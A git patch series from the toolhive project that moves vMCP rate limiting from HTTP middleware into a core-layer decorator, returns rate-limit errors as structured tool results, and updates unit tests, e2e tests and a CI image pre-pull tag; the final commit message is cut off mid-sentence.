Config{ - Namespace: "default", - ServerName: "vmcp", - }) - - require.NoError(t, err) - assert.Nil(t, middleware) - assert.Nil(t, cleanup) -} - -func TestNewMiddlewareRequiresRedisSessionStorage(t *testing.T) { - t.Parallel() - - middleware, cleanup, err := NewMiddleware(t.Context(), Config{ - Namespace: "default", - ServerName: "vmcp", - RateLimiting: sharedRateLimitConfig(1), - }) - - require.Error(t, err) - assert.Contains(t, err.Error(), "requires Redis session storage") - assert.Nil(t, middleware) - assert.Nil(t, cleanup) -} - -func TestNewMiddlewareRequiresRedisAddress(t *testing.T) { - t.Parallel() - - middleware, cleanup, err := NewMiddleware(t.Context(), Config{ - Namespace: "default", - ServerName: "vmcp", - RateLimiting: sharedRateLimitConfig(1), - SessionStorage: &vmcpconfig.SessionStorageConfig{ - Provider: "redis", - }, - }) - - require.Error(t, err) - assert.Contains(t, err.Error(), "requires Redis session storage address") - assert.Nil(t, middleware) - assert.Nil(t, cleanup) -} - -func TestNewMiddlewareRedisPingFailure(t *testing.T) { - t.Parallel() - - ctx, cancel := context.WithTimeout(t.Context(), 100*time.Millisecond) - defer cancel() - middleware, cleanup, err := NewMiddleware(ctx, Config{ - Namespace: "default", - ServerName: "vmcp", - RateLimiting: sharedRateLimitConfig(1), - SessionStorage: &vmcpconfig.SessionStorageConfig{ - Provider: "redis", - Address: "127.0.0.1:1", - }, - }) - - require.Error(t, err) - assert.Contains(t, err.Error(), "failed to connect to Redis") - assert.Nil(t, middleware) - assert.Nil(t, cleanup) -} - -func TestNewMiddlewareInvalidRateLimitConfig(t *testing.T) { - t.Parallel() - - mr := miniredis.RunT(t) - middleware, cleanup, err := NewMiddleware(t.Context(), Config{ - Namespace: "default", - ServerName: "vmcp", - RateLimiting: &ratelimittypes.RateLimitConfig{ - Shared: &ratelimittypes.RateLimitBucket{ - MaxTokens: 0, - RefillPeriod: metav1.Duration{Duration: time.Minute}, - }, - }, - SessionStorage: &vmcpconfig.SessionStorageConfig{ - Provider: "redis", - Address: mr.Addr(), - }, - }) - - require.Error(t, err) - assert.Contains(t, err.Error(), "failed to create rate limiter") - assert.Nil(t, middleware) - assert.Nil(t, cleanup) -} - -func TestRateLimitMiddlewarePerUserSharedAcrossTools(t *testing.T) { - t.Parallel() - - handler := newTestRateLimitHandler(t, &ratelimittypes.RateLimitConfig{ - PerUser: &ratelimittypes.RateLimitBucket{ - MaxTokens: 1, - RefillPeriod: metav1.Duration{Duration: time.Minute}, - }, - }) - - first := serveToolCall(t, handler, "backend_a_echo", "alice") - assert.Equal(t, http.StatusOK, first.Code) - - second := serveToolCall(t, handler, "backend_b_echo", "alice") - assert.Equal(t, http.StatusTooManyRequests, second.Code) - assertRateLimitedBody(t, second) -} - -func TestRateLimitMiddlewareUsesPostAggregationToolNames(t *testing.T) { - t.Parallel() - - handler := newTestRateLimitHandler(t, &ratelimittypes.RateLimitConfig{ - Tools: []ratelimittypes.ToolRateLimitConfig{ - { - Name: "backend_a_echo", - Shared: &ratelimittypes.RateLimitBucket{ - MaxTokens: 1, - RefillPeriod: metav1.Duration{Duration: time.Minute}, - }, - }, - }, - }) - - first := serveToolCall(t, handler, "backend_a_echo", "") - assert.Equal(t, http.StatusOK, first.Code) - - otherTool := serveToolCall(t, handler, "backend_b_echo", "") - assert.Equal(t, http.StatusOK, otherTool.Code) - - secondMatchingTool := serveToolCall(t, handler, "backend_a_echo", "") - assert.Equal(t, http.StatusTooManyRequests, secondMatchingTool.Code) -} - -func newTestRateLimitHandler(t *testing.T, cfg *ratelimittypes.RateLimitConfig) http.Handler { - t.Helper() - - mr := miniredis.RunT(t) - middleware, cleanup, err := NewMiddleware(t.Context(), Config{ - Namespace: "default", - ServerName: "vmcp", - RateLimiting: cfg, - SessionStorage: &vmcpconfig.SessionStorageConfig{ - Provider: "redis", - Address: mr.Addr(), - }, - }) - require.NoError(t, err) - require.NotNil(t, middleware) - require.NotNil(t, cleanup) - t.Cleanup(func() { - require.NoError(t, cleanup(context.Background())) - }) - - return middleware(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { - w.WriteHeader(http.StatusOK) - })) -} - -func serveToolCall(t *testing.T, handler http.Handler, toolName, userID string) *httptest.ResponseRecorder { - t.Helper() - - req := httptest.NewRequest(http.MethodPost, "/mcp", nil) - req = withParsedMCPRequest(req, "tools/call", toolName, 1) - if userID != "" { - req = withIdentity(req, userID) - } - w := httptest.NewRecorder() - handler.ServeHTTP(w, req) - return w -} - -func withParsedMCPRequest(r *http.Request, method, resourceID string, id any) *http.Request { - parsed := &mcpparser.ParsedMCPRequest{ - Method: method, - ResourceID: resourceID, - ID: id, - IsRequest: true, - } - ctx := context.WithValue(r.Context(), mcpparser.MCPRequestContextKey, parsed) - return r.WithContext(ctx) -} - -func withIdentity(r *http.Request, subject string) *http.Request { - identity := &auth.Identity{PrincipalInfo: auth.PrincipalInfo{Subject: subject}} - ctx := auth.WithIdentity(r.Context(), identity) - return r.WithContext(ctx) -} - -func sharedRateLimitConfig(maxTokens int32) *ratelimittypes.RateLimitConfig { - return &ratelimittypes.RateLimitConfig{ - Shared: &ratelimittypes.RateLimitBucket{ - MaxTokens: maxTokens, - RefillPeriod: metav1.Duration{Duration: time.Minute}, - }, - } -} - -func assertRateLimitedBody(t *testing.T, recorder *httptest.ResponseRecorder) { - t.Helper() - - var resp map[string]any - require.NoError(t, json.Unmarshal(recorder.Body.Bytes(), &resp)) - errObj := resp["error"].(map[string]any) - assert.Equal(t, float64(ratelimit.CodeRateLimited), errObj["code"]) - assert.Equal(t, ratelimit.MessageRateLimited, errObj["message"]) -} diff --git a/pkg/vmcp/server/derive.go b/pkg/vmcp/server/derive.go index 6282c61098..a4a5c059ef 100644 --- a/pkg/vmcp/server/derive.go +++ b/pkg/vmcp/server/derive.go @@ -77,7 +77,6 @@ func deriveServerConfig( EndpointPath: cfg.EndpointPath, SessionTTL: cfg.SessionTTL, AuthMiddleware: cfg.AuthMiddleware, - RateLimitMiddleware: cfg.RateLimitMiddleware, AuthInfoHandler: cfg.AuthInfoHandler, PassthroughHeaders: cfg.PassthroughHeaders, AuthServer: cfg.AuthServer, diff --git a/pkg/vmcp/server/derive_test.go b/pkg/vmcp/server/derive_test.go index 3e72dff60a..26abece62e 100644 --- a/pkg/vmcp/server/derive_test.go +++ b/pkg/vmcp/server/derive_test.go @@ -43,7 +43,6 @@ func populatedLegacyConfig() *Config { AuthzMiddleware: passthrough, AuthInfoHandler: http.NewServeMux(), PassthroughHeaders: []string{"X-Tenant-Id"}, - RateLimitMiddleware: passthrough, AuthServer: &asrunner.EmbeddedAuthServer{}, TelemetryProvider: &telemetry.Provider{}, AuditConfig: &audit.Config{}, @@ -75,7 +74,6 @@ func TestDeriveServerConfigProjectsTransportFields(t *testing.T) { // Func/handler/pointer fields projected by reference. assert.NotNil(t, got.AuthMiddleware) - assert.NotNil(t, got.RateLimitMiddleware) assert.Same(t, cfg.AuthInfoHandler, got.AuthInfoHandler) assert.Equal(t, cfg.PassthroughHeaders, got.PassthroughHeaders) assert.Same(t, cfg.AuthServer, got.AuthServer) diff --git a/pkg/vmcp/server/middleware_test.go b/pkg/vmcp/server/middleware_test.go deleted file mode 100644 index b2044cd31f..0000000000 --- a/pkg/vmcp/server/middleware_test.go +++ /dev/null @@ -1,50 +0,0 @@ -// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. -// SPDX-License-Identifier: Apache-2.0 - -package server - -import ( - "net/http" - "net/http/httptest" - "testing" - - "github.com/stretchr/testify/assert" -) - -func TestApplyRateLimitingWrapsConfiguredMiddleware(t *testing.T) { - t.Parallel() - - s := &Server{config: &Config{ - RateLimitMiddleware: func(next http.Handler) http.Handler { - return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { - w.Header().Set("X-Rate-Limit-Test", "wrapped") - next.ServeHTTP(w, r) - }) - }, - }} - handler := s.applyRateLimiting(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { - w.WriteHeader(http.StatusAccepted) - })) - - rec := httptest.NewRecorder() - req := httptest.NewRequest(http.MethodPost, "/mcp", nil) - handler.ServeHTTP(rec, req) - - assert.Equal(t, http.StatusAccepted, rec.Code) - assert.Equal(t, "wrapped", rec.Header().Get("X-Rate-Limit-Test")) -} - -func TestApplyRateLimitingPassesThroughWhenDisabled(t *testing.T) { - t.Parallel() - - s := &Server{config: &Config{}} - handler := s.applyRateLimiting(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { - w.WriteHeader(http.StatusAccepted) - })) - - rec := httptest.NewRecorder() - req := httptest.NewRequest(http.MethodPost, "/mcp", nil) - handler.ServeHTTP(rec, req) - - assert.Equal(t, http.StatusAccepted, rec.Code) -} diff --git a/pkg/vmcp/server/serve.go b/pkg/vmcp/server/serve.go index a4891547d1..6fd16322c7 100644 --- a/pkg/vmcp/server/serve.go +++ b/pkg/vmcp/server/serve.go @@ -67,10 +67,6 @@ type ServerConfig struct { // If nil, no authentication is required. AuthMiddleware func(http.Handler) http.Handler - // RateLimitMiddleware is the optional rate-limit middleware to apply after - // authentication and MCP request parsing. - RateLimitMiddleware func(http.Handler) http.Handler - // AuthInfoHandler is the optional handler for the // /.well-known/oauth-protected-resource endpoint. AuthInfoHandler http.Handler @@ -332,7 +328,6 @@ func buildServeConfig(cfg *ServerConfig) *Config { EndpointPath: cfg.EndpointPath, SessionTTL: cfg.SessionTTL, AuthMiddleware: cfg.AuthMiddleware, - RateLimitMiddleware: cfg.RateLimitMiddleware, AuthInfoHandler: cfg.AuthInfoHandler, PassthroughHeaders: cfg.PassthroughHeaders, AuthServer: cfg.AuthServer, diff --git a/pkg/vmcp/server/serve_handlers.go b/pkg/vmcp/server/serve_handlers.go index b22f1daeb5..384cec96b5 100644 --- a/pkg/vmcp/server/serve_handlers.go +++ b/pkg/vmcp/server/serve_handlers.go @@ -195,12 +195,7 @@ func (s *Server) coreToolHandler(sessionID, toolName, backendName string) server result, err := s.core.CallTool(ctx, caller, toolName, args, conversion.FromMCPMeta(req.Params.Meta)) if err != nil { - // Admission denial returns a generic message so the underlying authorizer - // error is never forwarded to the client. - if errors.Is(err, vmcp.ErrAuthorizationFailed) { - return mcp.NewToolResultError("call denied by authorization policy"), nil - } - return mcp.NewToolResultError(err.Error()), nil + return conversion.ErrorToToolResult(err), nil } return &mcp.CallToolResult{ diff --git a/pkg/vmcp/server/serve_optimizer.go b/pkg/vmcp/server/serve_optimizer.go index 2a2495e04f..f00ad34f5d 100644 --- a/pkg/vmcp/server/serve_optimizer.go +++ b/pkg/vmcp/server/serve_optimizer.go @@ -14,6 +14,7 @@ import ( "github.com/stacklok/toolhive/pkg/auth" "github.com/stacklok/toolhive/pkg/vmcp" + "github.com/stacklok/toolhive/pkg/vmcp/conversion" "github.com/stacklok/toolhive/pkg/vmcp/optimizer" "github.com/stacklok/toolhive/pkg/vmcp/schema" "github.com/stacklok/toolhive/pkg/vmcp/session/optimizerdec" @@ -197,7 +198,7 @@ func (s *Server) optimizerCallToolHandler(sessionID string, opt optimizer.Optimi result, err := opt.CallTool(ctx, input) if err != nil { - return mcp.NewToolResultError(fmt.Sprintf("call_tool failed: %v", err)), nil + return conversion.ErrorToToolResult(fmt.Errorf("call_tool failed: %w", err)), nil } // Defensive parity with the legacy optimizerdec handler: the production // optimizer never returns (nil, nil), but guard so a future implementation diff --git a/pkg/vmcp/server/serve_optimizer_test.go b/pkg/vmcp/server/serve_optimizer_test.go index 67239234c3..1aa513e25e 100644 --- a/pkg/vmcp/server/serve_optimizer_test.go +++ b/pkg/vmcp/server/serve_optimizer_test.go @@ -20,8 +20,11 @@ import ( "go.uber.org/mock/gomock" "github.com/stacklok/toolhive/pkg/auth" + "github.com/stacklok/toolhive/pkg/ratelimit" "github.com/stacklok/toolhive/pkg/vmcp" + "github.com/stacklok/toolhive/pkg/vmcp/core" "github.com/stacklok/toolhive/pkg/vmcp/optimizer" + vmcpratelimit "github.com/stacklok/toolhive/pkg/vmcp/ratelimit" "github.com/stacklok/toolhive/pkg/vmcp/server/sessionmanager" "github.com/stacklok/toolhive/pkg/vmcp/session/optimizerdec" ) @@ -92,16 +95,18 @@ var initBody = map[string]any{ } // registerServeOptimizerSession builds a Serve server with the optimizer enabled -// (OptimizerFactory + AdvertiseFromCore) backed by fc, registers one anonymous session -// via the SDK initialize path, and returns the server, session ID, HTTP base URL, and -// the recording factory. Mirrors registerServeSession but in optimizer mode. -func registerServeOptimizerSession(t *testing.T, fc *fakeCore) (*Server, string, string, *recordingOptimizerFactory) { +// (OptimizerFactory + AdvertiseFromCore) over vmcpCore, registers one anonymous +// session via the SDK initialize path, and returns the server, session ID, HTTP +// base URL, and recording factory. Mirrors registerServeSession in optimizer mode. +func registerServeOptimizerSession( + t *testing.T, vmcpCore core.VMCP, tools []vmcp.Tool, +) (*Server, string, string, *recordingOptimizerFactory) { t.Helper() ctrl := gomock.NewController(t) - factory, _ := newToolSessionFactory(t, ctrl, fc.tools) + factory, _ := newToolSessionFactory(t, ctrl, tools) optFactory := &recordingOptimizerFactory{} - srv, err := Serve(context.Background(), fc, &ServerConfig{ + srv, err := Serve(context.Background(), vmcpCore, &ServerConfig{ SessionTTL: time.Minute, SessionManagerConfig: &sessionmanager.FactoryConfig{ Base: factory, @@ -191,7 +196,7 @@ func TestServeOptimizerAdvertisesOnlyFindAndCallTool(t *testing.T) { {Name: "tool-a", Description: "first"}, {Name: "tool-b", Description: "second"}, }} - _, sessionID, baseURL, optFactory := registerServeOptimizerSession(t, fc) + _, sessionID, baseURL, optFactory := registerServeOptimizerSession(t, fc, fc.tools) require.Eventually(t, func() bool { for _, n := range serveToolNames(t, baseURL, sessionID) { @@ -223,7 +228,7 @@ func TestServeOptimizerFindToolReturnsCoreTools(t *testing.T) { t.Parallel() fc := &fakeCore{tools: []vmcp.Tool{{Name: "tool-a"}, {Name: "tool-b"}}} - srv, sessionID, _, _ := registerServeOptimizerSession(t, fc) + srv, sessionID, _, _ := registerServeOptimizerSession(t, fc, fc.tools) handler := optimizerMetaHandlers(t, srv, sessionID)[optimizerdec.FindToolName] require.NotNil(t, handler) @@ -277,7 +282,7 @@ func TestServeOptimizerCallToolRoutesThroughCore(t *testing.T) { t.Parallel() fc := &fakeCore{tools: []vmcp.Tool{{Name: "tool-a"}}} - srv, sessionID, _, _ := registerServeOptimizerSession(t, fc) + srv, sessionID, _, _ := registerServeOptimizerSession(t, fc, fc.tools) handler := optimizerMetaHandlers(t, srv, sessionID)[optimizerdec.CallToolName] require.NotNil(t, handler) @@ -309,7 +314,7 @@ func TestServeOptimizerCallToolInnerAdmissionDenied(t *testing.T) { tools: []vmcp.Tool{{Name: "tool-a"}}, callErr: fmt.Errorf("%w: cedar said no", vmcp.ErrAuthorizationFailed), } - srv, sessionID, _, _ := registerServeOptimizerSession(t, fc) + srv, sessionID, _, _ := registerServeOptimizerSession(t, fc, fc.tools) handler := optimizerMetaHandlers(t, srv, sessionID)[optimizerdec.CallToolName] require.NotNil(t, handler) @@ -329,6 +334,88 @@ func TestServeOptimizerCallToolInnerAdmissionDenied(t *testing.T) { assert.Equal(t, int32(1), fc.callToolCalls.Load(), "the inner target must reach the core admission seam") } +// singleUseToolLimiter is an in-memory per-tool limiter for the optimizer +// integration test. Calls for other names are deliberately unlimited, so the +// test also proves the optimizer passes the resolved backend tool name. +type singleUseToolLimiter struct { + toolName string + calls atomic.Int32 +} + +func (l *singleUseToolLimiter) Allow( + _ context.Context, toolName, _ string, +) (*ratelimit.Decision, error) { + if toolName != l.toolName { + return &ratelimit.Decision{Allowed: true}, nil + } + if l.calls.Add(1) > 1 { + return &ratelimit.Decision{Allowed: false, RetryAfter: time.Minute}, nil + } + return &ratelimit.Decision{Allowed: true}, nil +} + +// TestServeOptimizerCallToolUsesResolvedNameForRateLimiting composes the real +// rate-limit decorator below the Serve-layer optimizer. The first call is +// allowed and reaches the core; the second call to the same resolved tool is +// denied before delegation. +func TestServeOptimizerCallToolUsesResolvedNameForRateLimiting(t *testing.T) { + t.Parallel() + + fc := &fakeCore{tools: []vmcp.Tool{{Name: "tool-a"}}} + limiter := &singleUseToolLimiter{toolName: "tool-a"} + decorated := vmcpratelimit.NewDecorator(fc, limiter) + _, sessionID, baseURL, _ := registerServeOptimizerSession(t, decorated, fc.tools) + + requestBody := map[string]any{ + "jsonrpc": "2.0", + "id": 2, + "method": "tools/call", + "params": map[string]any{ + "name": optimizerdec.CallToolName, + "arguments": map[string]any{ + "tool_name": "tool-a", + "parameters": map[string]any{}, + }, + }, + } + + firstResp := postServeMCP(t, baseURL, requestBody, sessionID) + defer firstResp.Body.Close() + require.Equal(t, http.StatusOK, firstResp.StatusCode) + var first struct { + Result struct { + IsError bool `json:"isError"` + } `json:"result"` + Error map[string]any `json:"error"` + } + require.NoError(t, json.NewDecoder(firstResp.Body).Decode(&first)) + require.Nil(t, first.Error) + assert.False(t, first.Result.IsError) + + secondResp := postServeMCP(t, baseURL, requestBody, sessionID) + defer secondResp.Body.Close() + require.Equal(t, http.StatusOK, secondResp.StatusCode) + var second struct { + Result struct { + IsError bool `json:"isError"` + StructuredContent map[string]any `json:"structuredContent"` + } `json:"result"` + Error map[string]any `json:"error"` + } + require.NoError(t, json.NewDecoder(secondResp.Body).Decode(&second)) + require.Nil(t, second.Error, "coded tool failures should stay tool results, not JSON-RPC errors") + assert.True(t, second.Result.IsError) + assert.EqualValues(t, ratelimit.CodeRateLimited, second.Result.StructuredContent["code"]) + assert.Equal(t, ratelimit.MessageRateLimited, second.Result.StructuredContent["message"]) + data, ok := second.Result.StructuredContent["data"].(map[string]any) + require.True(t, ok, "rate-limit data should survive optimizer wrapping") + assert.EqualValues(t, 60, data["retryAfterSeconds"]) + assert.Equal(t, int32(2), limiter.calls.Load(), "the limiter must receive the resolved tool name on both calls") + assert.Equal(t, int32(1), fc.callToolCalls.Load(), "the denied call must not reach the core") + got, _ := fc.lastCallToolName.Load().(string) + assert.Equal(t, "tool-a", got) +} + // TestServeOptimizerEnforcesSessionBinding proves both meta-tools enforce the session's // identity binding (anti-hijack): an attacker presenting a token on an anonymous session // is rejected, the session is terminated (fail-closed), and no optimizer work is done. @@ -339,7 +426,7 @@ func TestServeOptimizerEnforcesSessionBinding(t *testing.T) { t.Run(toolName, func(t *testing.T) { t.Parallel() fc := &fakeCore{tools: []vmcp.Tool{{Name: "tool-a"}}} - srv, sessionID, _, _ := registerServeOptimizerSession(t, fc) + srv, sessionID, _, _ := registerServeOptimizerSession(t, fc, fc.tools) handler := optimizerMetaHandlers(t, srv, sessionID)[toolName] require.NotNil(t, handler) @@ -375,7 +462,7 @@ func TestServeOptimizerLazyInjectsForRehydratedSession(t *testing.T) { t.Parallel() fc := &fakeCore{tools: []vmcp.Tool{{Name: "tool-a"}}} - srv, sessionID, _, optFactory := registerServeOptimizerSession(t, fc) + srv, sessionID, _, optFactory := registerServeOptimizerSession(t, fc, fc.tools) // Capture the registration-time counts so we can prove the rehydration REBUILDS // (the half of AC5 that distinguishes the Serve path from the legacy GetAdaptedTools): diff --git a/pkg/vmcp/server/serve_session_test.go b/pkg/vmcp/server/serve_session_test.go index 1ae3a56134..c66b7aab9a 100644 --- a/pkg/vmcp/server/serve_session_test.go +++ b/pkg/vmcp/server/serve_session_test.go @@ -24,6 +24,7 @@ import ( "github.com/stacklok/toolhive/pkg/audit" "github.com/stacklok/toolhive/pkg/auth" + "github.com/stacklok/toolhive/pkg/ratelimit" transportsession "github.com/stacklok/toolhive/pkg/transport/session" "github.com/stacklok/toolhive/pkg/vmcp" vmcpconfig "github.com/stacklok/toolhive/pkg/vmcp/config" @@ -685,6 +686,31 @@ func TestServeCoreToolHandler(t *testing.T) { } } +func TestServeCoreToolHandlerCodedErrorReturnsStructuredToolResult(t *testing.T) { + t.Parallel() + + fc := &fakeCore{ + tools: []vmcp.Tool{{Name: "t"}}, + callErr: &ratelimit.RateLimitedError{RetryAfter: time.Second}, + } + srv, sessionID, _ := registerServeSession(t, fc) + + req := mcp.CallToolRequest{Params: mcp.CallToolParams{Name: "t", Arguments: map[string]any{}}} + res, err := srv.coreToolHandler(sessionID, "t", "")(context.Background(), req) + + require.NoError(t, err) + require.NotNil(t, res) + assert.True(t, res.IsError) + sc, ok := res.StructuredContent.(map[string]any) + require.True(t, ok, "coded errors should carry structured content") + assert.EqualValues(t, ratelimit.CodeRateLimited, sc["code"]) + assert.Equal(t, ratelimit.MessageRateLimited, sc["message"]) + data, ok := sc["data"].(map[string]any) + require.True(t, ok, "coded errors should carry structured data") + assert.EqualValues(t, 1, data["retryAfterSeconds"]) + assert.Equal(t, int32(1), fc.callToolCalls.Load()) +} + // TestServeToolCallTerminatesOnBindingFailure proves the documented fail-closed side // effect: a binding rejection on the Serve call path terminates the session and never // reaches the core. The session is anonymous, so a caller presenting a token is a diff --git a/pkg/vmcp/server/serve_test.go b/pkg/vmcp/server/serve_test.go index 3d5abbcdc3..c364e93c0d 100644 --- a/pkg/vmcp/server/serve_test.go +++ b/pkg/vmcp/server/serve_test.go @@ -322,6 +322,7 @@ func TestBuildServeConfigMapsSharedFields(t *testing.T) { "OptimizerFactory": {}, // optimizer wiring carried on ServerConfig.SessionManagerConfig (FactoryConfig) "OptimizerConfig": {}, // optimizer wiring carried on ServerConfig.SessionManagerConfig (FactoryConfig) "CodeModeConfig": {}, // consumed by New to wrap the core (code mode decorator) before Serve; not a transport field + "RateLimiter": {}, // consumed by New to wrap the core (rate-limit decorator) before Serve; not a transport field "Aggregator": {}, // core collaborator: fed to core.New via deriveCoreConfig, not the transport "Authz": {}, // core collaborator: fed to the core admission seam via deriveCoreConfig } @@ -339,7 +340,6 @@ func TestBuildServeConfigMapsSharedFields(t *testing.T) { EndpointPath: "/e", SessionTTL: time.Second, AuthMiddleware: func(h http.Handler) http.Handler { return h }, - RateLimitMiddleware: func(h http.Handler) http.Handler { return h }, AuthInfoHandler: http.NewServeMux(), PassthroughHeaders: []string{"x-test"}, AuthServer: &asrunner.EmbeddedAuthServer{}, diff --git a/pkg/vmcp/server/server.go b/pkg/vmcp/server/server.go index ac34397007..8e1e5d3179 100644 --- a/pkg/vmcp/server/server.go +++ b/pkg/vmcp/server/server.go @@ -30,6 +30,7 @@ import ( "github.com/stacklok/toolhive/pkg/authz" "github.com/stacklok/toolhive/pkg/bodylimit" mcpparser "github.com/stacklok/toolhive/pkg/mcp" + baseratelimit "github.com/stacklok/toolhive/pkg/ratelimit" "github.com/stacklok/toolhive/pkg/recovery" "github.com/stacklok/toolhive/pkg/telemetry" transportmiddleware "github.com/stacklok/toolhive/pkg/transport/middleware" @@ -43,6 +44,7 @@ import ( "github.com/stacklok/toolhive/pkg/vmcp/headerforward" "github.com/stacklok/toolhive/pkg/vmcp/health" "github.com/stacklok/toolhive/pkg/vmcp/optimizer" + vmcpratelimit "github.com/stacklok/toolhive/pkg/vmcp/ratelimit" "github.com/stacklok/toolhive/pkg/vmcp/router" "github.com/stacklok/toolhive/pkg/vmcp/server/sessionmanager" vmcpsession "github.com/stacklok/toolhive/pkg/vmcp/session" @@ -152,9 +154,10 @@ type Config struct { // capture (no middleware is installed). PassthroughHeaders []string - // RateLimitMiddleware is the optional rate-limit middleware to apply after - // authentication and MCP request parsing. - RateLimitMiddleware func(http.Handler) http.Handler + // RateLimiter is the optional core-layer limiter applied at CallTool. + // It runs below the session optimizer, so tool names are already resolved + // to the backend tool name before bucket selection. + RateLimiter baseratelimit.Limiter // AuthServer is the optional embedded authorization server. // When non-nil, the routes returned by Routes() are registered on the mux @@ -432,6 +435,10 @@ func New( return nil, err } + if cfg.RateLimiter != nil { + coreVMCP = vmcpratelimit.NewDecorator(coreVMCP, cfg.RateLimiter) + } + // Wrap the core with the code mode decorator when enabled. It sits BELOW any optimizer: // ListTools now advertises execute_tool_script alongside the backend tools, so the // Serve-layer optimizer (if enabled) indexes it like any other tool, and the script's @@ -582,8 +589,6 @@ func (s *Server) Handler(_ context.Context) (http.Handler, error) { slog.Info("audit middleware enabled for MCP endpoints") } - mcpHandler = s.applyRateLimiting(mcpHandler) - // Apply authentication middleware if configured (runs first in chain) if s.config.AuthMiddleware != nil { mcpHandler = s.config.AuthMiddleware(mcpHandler) @@ -617,14 +622,6 @@ func (s *Server) Handler(_ context.Context) (http.Handler, error) { return mux, nil } -func (s *Server) applyRateLimiting(next http.Handler) http.Handler { - if s.config.RateLimitMiddleware == nil { - return next - } - slog.Info("rate limit middleware enabled for MCP endpoints") - return s.config.RateLimitMiddleware(next) -} - // applyForwardedHeaderCapture wraps next with the forwarded-header capture // middleware when passthrough headers are configured. It copies the allowlisted // incoming headers into the request context so the per-session backend client diff --git a/test/e2e/thv-operator/virtualmcp/virtualmcp_rate_limiting_test.go b/test/e2e/thv-operator/virtualmcp/virtualmcp_rate_limiting_test.go index 5ef0b527c0..981d3fae5f 100644 --- a/test/e2e/thv-operator/virtualmcp/virtualmcp_rate_limiting_test.go +++ b/test/e2e/thv-operator/virtualmcp/virtualmcp_rate_limiting_test.go @@ -22,6 +22,7 @@ import ( mcpv1beta1 "github.com/stacklok/toolhive/cmd/thv-operator/api/v1beta1" "github.com/stacklok/toolhive/cmd/thv-operator/api/v1beta1/v1beta1test" + "github.com/stacklok/toolhive/pkg/ratelimit" vmcpconfig "github.com/stacklok/toolhive/pkg/vmcp/config" "github.com/stacklok/toolhive/test/e2e/images" ) @@ -185,13 +186,18 @@ var _ = ginkgo.Describe("VirtualMCPServer Rate Limiting", ginkgo.Ordered, func() _, err = mcpClient.CallTool(ctx, req) gomega.Expect(err).ToNot(gomega.HaveOccurred()) - _, err = mcpClient.CallTool(ctx, req) - gomega.Expect(err).To(gomega.HaveOccurred()) - gomega.Expect(err.Error()).To(gomega.Or( - gomega.ContainSubstring("429"), - gomega.ContainSubstring("-32029"), - gomega.ContainSubstring("Rate limit exceeded"), - )) + result, err := mcpClient.CallTool(ctx, req) + gomega.Expect(err).ToNot(gomega.HaveOccurred()) + gomega.Expect(result.IsError).To(gomega.BeTrue()) + + structured, ok := result.StructuredContent.(map[string]any) + gomega.Expect(ok).To(gomega.BeTrue()) + gomega.Expect(structured["code"]).To(gomega.BeNumerically("==", ratelimit.CodeRateLimited)) + gomega.Expect(structured["message"]).To(gomega.Equal(ratelimit.MessageRateLimited)) + + data, ok := structured["data"].(map[string]any) + gomega.Expect(ok).To(gomega.BeTrue()) + gomega.Expect(data["retryAfterSeconds"]).To(gomega.BeNumerically(">", 0)) }) }) From ae9fb3090c734f5341992d392ce072b6bff4e7c8 Mon Sep 17 00:00:00 2001 From: reyortiz3 Date: Wed, 1 Jul 2026 03:44:33 -0400 Subject: [PATCH 02/66] Fix stale pre-pulled image tag causing flaky E2E tests (#5693) Fix stale pre-pulled image tag causing flaky E2E timeouts The osv-mcp pre-pull step in CI pulled tag 0.1.0, but the "osv" registry entry these tests actually use resolves to 0.1.3. The mismatch forced a cold pull mid-test, intermittently eating into the tight 60s readiness timeout and causing api-clients/api-misc E2E jobs to fail and require a re-run (#5690). Bump the pre-pull tag to match, and add modest timeout headroom to the two affected tests for resilience against transient pull or runner slowness. --- .github/workflows/e2e-tests.yml | 2 +- test/e2e/api_clients_validation_test.go | 4 ++-- test/e2e/api_groups_test.go | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/.github/workflows/e2e-tests.yml b/.github/workflows/e2e-tests.yml index 0b0689470c..4bfef44909 100644 --- a/.github/workflows/e2e-tests.yml +++ b/.github/workflows/e2e-tests.yml @@ -123,7 +123,7 @@ jobs: run: | # Pre-pull images used by E2E tests so that workload creation # does not pay the image-pull cost inside the 60s API timeout. - docker pull ghcr.io/stackloklabs/osv-mcp/server:0.1.0 & + docker pull ghcr.io/stackloklabs/osv-mcp/server:0.1.3 & docker pull ghcr.io/stackloklabs/gofetch/server:1.0.2 & docker pull ghcr.io/stacklok/toolhive/egress-proxy:latest & # yardstick is only needed for the vmcp test suite diff --git a/test/e2e/api_clients_validation_test.go b/test/e2e/api_clients_validation_test.go index fb15953a74..608ab73c5e 100644 --- a/test/e2e/api_clients_validation_test.go +++ b/test/e2e/api_clients_validation_test.go @@ -53,7 +53,7 @@ var _ = Describe("Clients API Validation", Label("api", "api-clients", "clients" } } return false - }, 60*time.Second, 2*time.Second).Should(BeTrue()) + }, 90*time.Second, 2*time.Second).Should(BeTrue()) By("Attempting to register with an invalid client type") invalidClientName := fmt.Sprintf("invalid-client-%d", time.Now().UnixNano()) @@ -115,7 +115,7 @@ var _ = Describe("Clients API Validation", Label("api", "api-clients", "clients" } } return false - }, 60*time.Second, 2*time.Second).Should(BeTrue()) + }, 90*time.Second, 2*time.Second).Should(BeTrue()) By("Attempting bulk register with invalid client types") invalidClientName1 := fmt.Sprintf("invalid-bulk-1-%d", time.Now().UnixNano()) diff --git a/test/e2e/api_groups_test.go b/test/e2e/api_groups_test.go index 4d2dbee51c..e7e9c4331b 100644 --- a/test/e2e/api_groups_test.go +++ b/test/e2e/api_groups_test.go @@ -357,7 +357,7 @@ var _ = Describe("Groups API", Label("api", "api-misc", "groups", "e2e"), func() } } return false - }, 60*time.Second, 2*time.Second).Should(BeTrue(), + }, 90*time.Second, 2*time.Second).Should(BeTrue(), "Workload should reach running state before deletion") By("Deleting the group with workloads") From f49526f6c0edea8ac40abc0dcf177aff388dfdc8 Mon Sep 17 00:00:00 2001 From: Jakub Hrozek Date: Wed, 1 Jul 2026 12:11:18 +0100 Subject: [PATCH 03/66] Add XAA auth strategy CRD support (#5691) The XAA (Cross-Application Access) outgoing auth strategy exists only as runtime config with no declarative surface, so it cannot be configured through the operator. Wire it into the CRDs and supply the conversion needed to turn that config into a runtime strategy. - Add an XAASpec to the MCPExternalAuthConfig CRD and surface XAA 